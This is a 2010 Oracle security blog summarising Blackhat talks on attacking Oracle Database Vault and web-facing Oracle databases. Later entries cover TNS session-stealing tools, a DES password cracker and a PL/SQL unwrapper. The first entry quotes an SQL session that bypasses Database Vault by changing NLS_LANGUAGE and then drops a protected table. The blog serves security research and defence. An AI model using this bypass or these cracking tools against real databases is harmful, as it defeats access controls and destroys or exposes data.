5 Aug 2010 von Alexander Kornbrust.

After a longer break here a blog entry again:The presentations and documents from Blackhat 2010 Las Vegas are online.

This year 2 presentations from Esteban and Sid were dedicated to Oracle:

Hacking and protecting Oracle Database Vault - Esteban Fayo

Esteban describes different attacks against Oracle Database Vault.

These well-known techniques are

* With OS access

* Creating and executing a procedure in MACSYS schema

* SYS user can bypass DB Vault

* Impersonating SYS using SQL Injection

* Exploiting other vulnerabilities specific to DB Vault.

Keep in mind that Esteban decribes only a subset of possible attacks. There are for example  other possibilities to execute OS commands or impersonate other users available.

My favorite exploit from this presentation to bypass (older versions of) database vault is the following one:

————————————————

SQL> connect onedba/onedba Connected. 

SQL> drop table hr.jobs cascade constraints;   

drop table hr.jobs cascade constraints   

* ERROR at line 1:   

ORA-00604: error occurred at recursive SQL level 1  

ORA-47401: Realm violation for drop table on HR.JOBS   

ORA-06512: at “DVSYS.AUTHORIZE_EVENT”, line 55  

 ORA-06512: at line 13 – Switch to a different NLS_LANGUAGE 

SQL> alter session set NLS_LANGUAGE=”LATIN AMERICAN SPANISH”; 

Session altered. 

SQL> drop table hr.jobs cascade constraints; 

Table dropped. 

————————————————

It seems that some developers still not realized that there are other countries/languages outside of the US….

Here are the links from the Blackhat page (whitepaper, presentation, scripts) .

Hacking Oracle from the Web - Sumit Siddarth (Sid)

Great summary with different possibilities (Privilege escalation, OS execution, …) how to exploit Oracle from vulnerable web apps.

Really good and useful collection of information. Sid’s blog contains also some nice videos.

Here is the link from the Blackhat page (whitepaper) .

Geschrieben in Oracle Security | Drucken | Keine Kommentare »

18 Apr 2010 von Alexander Kornbrust.

 The Blackhat Europe 2010 “Oracle, Interrupted: Stealing Sessions and Credentials” (presentation, whitepaper) of Steve Ocepek and Wendel G. Henrique are online. An interview with Steve about the talk can be found here.

As mentioned in a previous blog post this talk  shows how to intercept unencrypted (=default) TNS connections and inject statements into a running session. Steve and Wendel will soon release 2 tools Vamp and thicknet.

I will try to present these tools at the DOAG Expertenseminar in Berlin.

A good summary of the talk can be found at Peter Van Eeckhoutten’s blog.

Geschrieben in Tools, Exploit, Oracle Security | Drucken | Keine Kommentare »

15 Apr 2010 von Alexander Kornbrust.

Dennis Yurichev has released a new password cracker (brute-force) called ops_sse2 for Oracle DES passwords.  This password cracker is the fastest brute force cracker for Oracle DES passwords and approx. 3 times faster than woraauthbf from Laszlo Toth.

Here a quick comparision on my Quad2Core (2.4 GHz):

Password length (8 character) (only characters) can be cracked  in approx 3 hours. For numbers and characters it takes approx. 2.5 days for a single password.

Impressive work…

Geschrieben in Tools, passwords, Oracle Security | Drucken | Keine Kommentare »

14 Apr 2010 von Alexander Kornbrust.

I just came across a forum entry on OTN “Possible trojan with 11gR2 Windows 32-bit client on OTN?“. It seems that some virus scanners are reporting a potential trojan in the 32bit client of Oracle 11R2.

According the Eric Maurice from the Oracle security team it is a false positive of the Avira Antivir scanner engine.

It is good to know that also large software vendors are running in this problem of false positives. This can be really bad for the reputation of a software vendor.

Geschrieben in Oracle Security | Drucken | Keine Kommentare »

13 Apr 2010 von Alexander Kornbrust.

Niels Teusink has posted a Python script to unwrap PL/SQL code (10g+ only). This python script can unwrap code on the command line.

More details are available in the blog entry of Niels.

This is a better solution than the online unwrapper.

Geschrieben in Tools, Oracle Security | Drucken | Keine Kommentare »